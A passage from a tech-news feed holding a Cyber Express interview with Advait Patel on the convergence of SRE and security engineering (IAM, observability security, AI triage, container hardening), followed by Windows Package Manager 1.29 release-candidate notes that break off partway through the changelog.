<content:encoded><![CDATA[<p><img width="2800" height="1602" src="https://thecyberexpress.com/wp-content/uploads/Advait-Patel-scaled.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="SRE and Security Engineering- Advait Patel Interview" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Advait-Patel-scaled.webp 2800w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-300x172.webp 300w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1024x586.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-768x439.webp 768w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1536x879.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-2048x1172.webp 2048w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-600x343.webp 600w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-150x86.webp 150w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-750x429.webp 750w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1140x652.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-scaled.webp 2800w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-300x172.webp 300w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1024x586.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-768x439.webp 768w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1536x879.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-2048x1172.webp 2048w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-600x343.webp 600w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-150x86.webp 150w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-750x429.webp 750w, https://thecyberexpress.com/wp-content/uploads/Advait-Patel-1140x652.webp 1140w" sizes="(max-width: 2800px) 100vw, 2800px" title="Advait Patel on How SRE and Security Engineering Are Converging 1"></p><p data-start="98" data-end="436">The convergence of SRE and Security Engineering is reshaping how organizations build, operate, and protect modern cloud environments. As infrastructure grows more complex and distributed, reliability, security, identity management, and observability are becoming increasingly interconnected disciplines rather than separate functions.</p>
<p data-start="441" data-end="842"><a href="https://www.linkedin.com/in/advaitpatel93/" target="_blank" rel="nofollow noopener">Advait Patel</a>, Senior Site Reliability Engineer at Broadcom and author of DockSec, has witnessed this shift firsthand. With experience spanning cloud infrastructure, DevSecOps, and observability platforms such as Wavefront (Tanzu Observability), he has worked on systems processing more than 10 million <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28731">data</a> points per second while leading initiatives in IAM, cloud migration, and security engineering.</p>
<p data-start="847" data-end="1108">In this interview, Patel shares his insights on securing observability platforms at scale, managing identity across multi-cloud environments, balancing automation with human oversight, and the role AI is playing in the future of <a href="https://thecyberexpress.com/what-is-penetration-testing/" target="_blank" rel="noopener">DevSecOps</a> and incident response.</p>

<h3 aria-level="2"><b><span data-contrast="none">Advait Patel Breaks Down SRE and Security Engineering</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<h4 aria-level="3"><span><b>TCE: How are you seeing SRE and security engineering converge in modern cloud environments?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel: </span></b><span data-contrast="auto">The short version is that the failure modes started overlapping and the org charts are catching up. A misconfigured IAM policy that takes down a service and a misconfigured IAM policy that exposes data are usually the same mistake. SREs already own the deployment pipeline, the observability stack, and the incident process, which happen to be the three places <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28732">security</a> has to live if it wants to be effective instead of decorative.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">What changed it for me was security as code. When I ran the zero-downtime migration of our observability platform from AWS to GCP, security could not be a review step bolted on at the end. It had to be expressed the same way reliability was, as policy in the pipeline, with the same testing and the same rollback story. </span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">That is the real convergence. Not security and SRE attending the same standup, but security becoming something you can measure and enforce the way you measure latency or error rate. We are not all the way there as an industry. Plenty of shops still treat security as a gate at the end. But the teams moving fastest have stopped pretending the two disciplines are separate.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h4 aria-level="3"><span><b>TCE: What are the biggest challenges in securing large-scale observability platforms handling high-volume data streams?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel:</span></b><span data-contrast="auto"> This one is close to home, since I spent a long time on a platform ingesting north of 10 million data points per second. A few things make it genuinely hard.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">First, telemetry is one of the most underrated attack surfaces in a company. Your metrics, traces, and logs describe your entire architecture. Get read access to that and you do not need to break into anything, the map is already drawn for you. And secrets leak into logs constantly. Someone logs a full request, the token rides along with it, and now your observability store is a credential store you never meant to build.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Second, at that volume you cannot inspect everything inline. Any control you add has to be cheap or it becomes the exact bottleneck you were hired to prevent. That single constraint rules out a lot of textbook advice.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Third is tenant isolation. When many teams share one pipeline, one team seeing another team's data is both a security incident and a trust failure at once. Getting that right without wrecking throughput was one of the harder problems in that migration.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h4 aria-level="3"><span><b>TCE: How do you approach identity and access management (IAM/CIAM/WIAM) in multi-cloud architectures?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel:</span></b><span data-contrast="auto"> I have spent enough time here to have written a couple of books on identity in the cloud, and the honest summary is that multi-cloud IAM is hard mostly because the providers disagree with each other. AWS, GCP, and Azure each have a different mental model for what an identity even is and how permissions attach to it. The abstractions do not map cleanly, so anyone selling you one tidy policy language across all three is usually hiding the seams.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The part I am most interested in right now is workload identity. For years, we secured machines the same way we secured people, with long-lived static credentials sitting in config files waiting to leak. That model is finally dying. Short-lived, attested identities through approaches like SPIFFE and workload identity federation are a much better answer, because the credential expires before an attacker can do much with it.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">For human and customer identity, the rules are simpler, but the stakes are higher. Kill static keys, federate to one source of truth, and treat access review as something continuous rather than an annual audit nobody reads. Entitlement creep is the quiet killer here. People accumulate access and almost never lose it.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h4 aria-level="3"><span><b>TCE: What role do you see AI playing in improving reliability and security operations (AIOps/DevSecOps)?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel:</span></b><span data-contrast="auto"> I will give you the unfashionable version. AI is genuinely good at one specific thing in security operations and oversold at most of the rest.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The thing it is good at is the layer between detection and action. You run a scan, you get 200 findings, and historically, a human burns half a day working out which three actually matter for their system. AI is very good at that triage and at explaining a finding in the context of your specific setup. That is most of the real value, and it is the whole reason I built DockSec the way I did.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Where it gets oversold is autonomous action in production and the idea that it replaces the analyst. It does not. The right pattern is AI sitting on top of deterministic signals, not in place of them. A coding assistant telling you a Dockerfile looks fine does not survive an auditor's first question. You still need the scanner underneath and the human judgment on top.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">And there is a twist people forget. AI is also a new attack surface. Agentic systems can be manipulated through their own inputs in ways we are only starting to score properly, which is part of why I put time into AI-specific <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28729">vulnerability</a> scoring. We are adding capability and <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28730">risk</a> in the same motion.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h4 aria-level="3"><span><b>TCE: How can teams balance automation with human oversight in incident response?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel:</span></b><span data-contrast="auto"> My rule of thumb is to automate the reversible and the boring and keep humans on the irreversible and the ambiguous.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Automation is excellent at the parts of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="28733">incident response</a> that are well understood and repetitive. Detect a known pattern, enrich it, page the right person, contain something you have contained a hundred times. </span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">That should all run at machine speed. Where I get nervous is letting automation take actions with real blast radius on its own, because automation fails confidently and at scale. A human making a bad call breaks one thing. A bad automated remediation can take the whole fleet down before anyone has read the alert.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">So I think of it as trust earned in increments. New automation runs in suggest mode first, where it only tells you what it would have done. Once it has been right enough times on low-risk actions, you let it act on those, and you keep the high-consequence decisions with a person. The piece people skip is the after. Humans own the retro and the learning. You do not automate understanding why it broke.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h4 aria-level="3"><span><b>TCE: What are the most important security practices for containerized environments today?</b> </span></h4>
<b><span data-contrast="auto">Advait Patel:</span></b><span data-contrast="auto"> A few that matter more than the rest.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Start small. Minimal base images and multi-stage builds do more for your posture than almost any tool you can buy, because you cannot be vulnerable to something that is not in your image. Most containers ship with a full operating system that they never touch.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Do not run as root, and drop the capabilities you do not need. It is basic, and people still skip it.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Care about provenance. Sign your images, generate an SBOM, and know where your base layers came from, because you inherit every vulnerability in them, whether you wrote that code or not. The supply chain is where the interesting attacks are now.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">But the practice I would push hardest is making your scanning actionable. A report with 200 CVEs that nobody can act on is security theater. The problem most teams actually have is not detection, it is prioritization and remediation. Coverage without a path to a fix just manufactures guilt. Closing that gap between found and fixed is what genuinely moves your risk down, and it is the problem I have spent the most time on.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3><strong>Conclusion</strong></h3>
<p data-start="180" data-end="599">From securing observability platforms handling millions of data points per second to managing identity across multi-cloud environments, Advait Patel's experience highlights the practical challenges facing today's infrastructure teams. His views on automation, AI, incident response, and container security reinforce a common theme throughout the discussion: the growing overlap between SRE and Security Engineering.</p>
<p data-start="604" data-end="911">As organizations continue to modernize their cloud environments, the ability to balance reliability, security, and operational efficiency will become increasingly important. For teams navigating that shift, Patel's insights offer a grounded perspective on what it takes to build and secure systems at scale.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.29.240]]></title>
<description><![CDATA[This is a release candidate of Windows Package Manager v1.29. If you find any bugs or problems, please help us out by filing an issue.
Note: This version is not fully localized yet. Localized strings will be included in a future build before stable release.
New in v1.29
New Feature: Source Priori...]]></description>
<link>https://tsecurity.de/de/3601252/downloads/windows-package-manager-129240/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601252/downloads/windows-package-manager-129240/</guid>
<pubDate>Tue, 16 Jun 2026 11:31:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a release candidate of Windows Package Manager v1.29. If you find any bugs or problems, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<p>Note: This version is not fully localized yet. Localized strings will be included in a future build before stable release.</p>
<h2>New in v1.29</h2>
<h1>New Feature: Source Priority</h1>
<div class="markdown-alert markdown-alert-note"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-info mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg>Note</p><p>Experimental under <code>sourcePriority</code>; defaulted to disabled.</p>
</div>
<p>With this feature, one can assign a numerical priority to sources when added or later through the <code>source edit</code><br>
command. Sources with higher priority are sorted first in the list of sources, which results in them getting put first<br>
in the results if other things are equal.</p>
<div class="markdown-alert markdown-alert-tip"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-light-bulb mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 0 1-1.484.211c-.04-.282-.163-.547-.37-.847a8.456 8.456 0 0 0-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.751.751 0 0 1-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75ZM5.75 12h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1 0-1.5ZM6 15.25a.75.75 0 0 1 .75-.75h2.5a.75.75 0 0 1 0 1.5h-2.5a.75.75 0 0 1-.75-.75Z"></path></svg>Tip</p><p>Search result ordering in winget is currently based on these values in this order:</p>
<ol>
<li>Match quality (how well a valid field matches the search request)</li>
<li>Match field (which field was matched against the search request)</li>
<li>Source order (was always relevant, but with priority you can more easily affect this)</li>
</ol>
</div>
<p>Beyond the ability to slightly affect the result ordering, commands that primarily target available packages<br>
(largely <code>install</code>) will now prefer to use a single result from a source with higher priority rather than prompting for<br>
disambiguation from the user. Said another way, if multiple sources return results but only one of those sources has<br>
the highest priority value (and it returned only one result) then that package will be used rather than giving a<br>
"multiple packages were found" error. This has been applied to both winget CLI and PowerShell module commands.</p>
<h3>REST result match criteria update</h3>
<p>Along with the source priority change, the results from REST sources (like <code>msstore</code>) now attempt to correctly set the<br>
match criteria that factor into the result ordering. This will prevent them from being sorted to the top automatically.</p>
<h2>Minor Features</h2>
<h3>Preserve installer arguments across export and import</h3>
<p><code>winget export</code> now captures the <code>--override</code> and <code>--custom</code> arguments that were used when a package was originally installed and saves them into the export file. When subsequently running <code>winget import</code>, those values are automatically re-applied during installation — <code>--override</code> replaces all installer arguments and <code>--custom</code> appends extra switches — so packages can be reinstalled with the same customizations without any manual intervention. Both fields are optional and independent of each other; packages without stored installer arguments are unaffected.</p>
<h3>--no-progress flag</h3>
<p>Added a new <code>--no-progress</code> command-line flag that disables all progress reporting (progress bars and spinners). This flag is universally available on all commands and takes precedence over the <code>visual.progressBar</code> setting. Useful for automation scenarios or when running WinGet in environments where progress output is undesirable.</p>
<h3>MCP <code>upgrade</code> support</h3>
<p>The WinGet MCP server's existing tools have been extended with new parameters to support upgrade scenarios:</p>
<ul>
<li><strong><code>find-winget-packages</code></strong> now accepts an <code>upgradeable</code> parameter (default: <code>false</code>). When set to <code>true</code>, it lists only installed packages that have available upgrades — equivalent to <code>winget upgrade</code>. The <code>query</code> parameter becomes optional in this mode, allowing it to filter results or be omitted to list all upgradeable packages. AI agents can use this to answer requests like "What apps can I update with WinGet?"</li>
<li><strong><code>install-winget-package</code></strong> now accepts an <code>upgradeOnly</code> parameter (default: <code>false</code>). When set to <code>true</code>, it only upgrades an already-installed package and returns a clear error if the package is not installed (pointing to <code>install-winget-package</code> without <code>upgradeOnly</code> instead). AI agents can use this to answer requests like "Update WinGetCreate" or, in combination with <code>find-winget-packages</code> with <code>upgradeable=true</code>, "Update all my apps."</li>
</ul>
<h3>Authenticated GitHub API requests in PowerShell module</h3>
<p>The PowerShell module now automatically uses <code>GH_TOKEN</code> or <code>GITHUB_TOKEN</code> environment variables to authenticate GitHub API requests. This significantly increases the GitHub API rate limit, preventing failures in CI/CD pipelines. Use <code>-Verbose</code> to see which token is being used.</p>
<h3>Default priority of installer types</h3>
<p>Installer type selection no longer depends on the order defined on the manifest. Instead, preference is given in this order:</p>
<ul>
<li>MSIX</li>
<li>MSI / Wix / Burn</li>
<li>Nullsoft / Inno / EXE</li>
<li>Portable</li>
</ul>
<p>When a user configures installer type requirements or preferences, the order in which they are listed is now respected during installer selection.</p>
<h3>Improved <code>list</code> output when redirected</h3>
<ul>
<li><code>winget list</code> (and similar table commands) no longer truncates output when stdout is redirected to a file or variable — column widths are now computed from the full result set.</li>
<li>Spinner and progress bar output are suppressed when no console is attached, keeping redirected output clean.</li>
</ul>
<h3>Log file naming strategy</h3>
<p>Added a user setting (<code>logging.fileNameStrategy</code>) for controlling the default naming strategy for installer log files. Supported values are <code>manifest</code> (default), <code>timestamp</code>, <code>guid</code>, and <code>shortguid</code>. Only applies to logs generated by installers if the installer itself supports the logging switch / parameter.</p>
<table>
<thead>
<tr>
<th>Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>manifest</td>
<td>Uses the name of the manifest and a timestamp. Has the same behavior as WinGet 1.28</td>
</tr>
<tr>
<td>timestamp</td>
<td>The log name is just a timestamp</td>
</tr>
<tr>
<td>guid</td>
<td>The log name is a GUID</td>
</tr>
<tr>
<td>shortguid</td>
<td>The log name is the first 8 characters of a GUID</td>
</tr>
</tbody>
</table>
<h3>Sortable <code>list</code> output</h3>
<p><code>winget list</code> now supports sorting results via <code>--sort &lt;field&gt;</code> (repeatable for multi-field sorting), <code>--ascending</code>/<code>--descending</code> direction flags, and a persistent <code>output.sortOrder</code> setting. Available sort fields: <code>name</code>, <code>id</code>, <code>version</code>, <code>source</code>, <code>available</code>, <code>relevance</code>. By default, results are sorted alphabetically by name when no query is present; use <code>--sort relevance</code> to preserve the previous source-determined ordering.</p>
<h2>Bug Fixes</h2>
<ul>
<li><code>winget export</code> now works when the destination path is a hidden file</li>
<li>Fixed the <code>useLatest</code> property in the DSC v3 <code>Microsoft.WinGet/Package</code> resource schema to emit a boolean default (<code>false</code>) instead of the incorrect string <code>"false"</code>.</li>
<li><code>SignFile</code> in <code>WinGetSourceCreator</code> now supports an optional RFC 3161 timestamp server via the new <code>TimestampServer</code> property on the <code>Signature</code> model. When set, <code>signtool.exe</code> is called with <code>/tr &lt;url&gt; /td sha256</code>, embedding a countersignature timestamp so that signed packages remain valid after the signing certificate expires.</li>
<li>File and directory paths passed to <code>signtool.exe</code> and <code>makeappx.exe</code> are now quoted, fixing failures when paths contain spaces.</li>
<li>DSC export now correctly exports WinGet Admin Settings</li>
<li><code>winget validate</code> now performs case-insensitive comparison for file extensions where applicable</li>
<li><code>winget source reset</code> now properly resets default sources instead of removing them</li>
<li>DSC v3 <code>Microsoft.WinGet/Package</code> resource now honors the <code>installMode</code> property to use silent or interactive installer switches as specified</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Make list details stable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888464623" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6020" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6020/hovercard" href="https://github.com/microsoft/winget-cli/pull/6020">#6020</a></li>
<li>Move to IReference rather than custom enum for optional bool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892646118" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6022" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6022/hovercard" href="https://github.com/microsoft/winget-cli/pull/6022">#6022</a></li>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893629466" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6023" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6023/hovercard" href="https://github.com/microsoft/winget-cli/pull/6023">#6023</a></li>
<li>Bump version to 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888315257" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6019" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6019/hovercard" href="https://github.com/microsoft/winget-cli/pull/6019">#6019</a></li>
<li>Remove 'listDetails' from release notes for 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893739947" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6026" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6026/hovercard" href="https://github.com/microsoft/winget-cli/pull/6026">#6026</a></li>
<li>Update doc as WinGet is not in preview by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gijsreyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gijsreyn">@Gijsreyn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572990820" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5850" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5850/hovercard" href="https://github.com/microsoft/winget-cli/pull/5850">#5850</a></li>
<li>Replaced "(C)" with "©" in the main menu. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3571577317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5845" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5845/hovercard" href="https://github.com/microsoft/winget-cli/pull/5845">#5845</a></li>
<li>Source priority by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3897735089" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6029" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6029/hovercard" href="https://github.com/microsoft/winget-cli/pull/6029">#6029</a></li>
<li>Update json vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917804123" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6039" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6039/hovercard" href="https://github.com/microsoft/winget-cli/pull/6039">#6039</a></li>
<li>Coalesce comments from loc suggestions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3908837169" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6033" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6033/hovercard" href="https://github.com/microsoft/winget-cli/pull/6033">#6033</a></li>
<li>Update Roadmap Milestones doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kissaki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kissaki">@Kissaki</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3543261404" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5824" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5824/hovercard" href="https://github.com/microsoft/winget-cli/pull/5824">#5824</a></li>
<li>Add copilot instructions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3939854896" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6048" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6048/hovercard" href="https://github.com/microsoft/winget-cli/pull/6048">#6048</a></li>
<li>Add --no-progress option by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3939862223" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6049" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6049/hovercard" href="https://github.com/microsoft/winget-cli/pull/6049">#6049</a></li>
<li>Remove Crescendo PowerShell by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3954834202" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6056" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6056/hovercard" href="https://github.com/microsoft/winget-cli/pull/6056">#6056</a></li>
<li>Fix casing of WinGet by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3958871064" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6059" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6059/hovercard" href="https://github.com/microsoft/winget-cli/pull/6059">#6059</a></li>
<li>Added more info for "Installer Types" values in Settings.md. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3984857044" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6067" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6067/hovercard" href="https://github.com/microsoft/winget-cli/pull/6067">#6067</a></li>
<li>Diagnostics update and stable DSC for tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048008456" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6084" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6084/hovercard" href="https://github.com/microsoft/winget-cli/pull/6084">#6084</a></li>
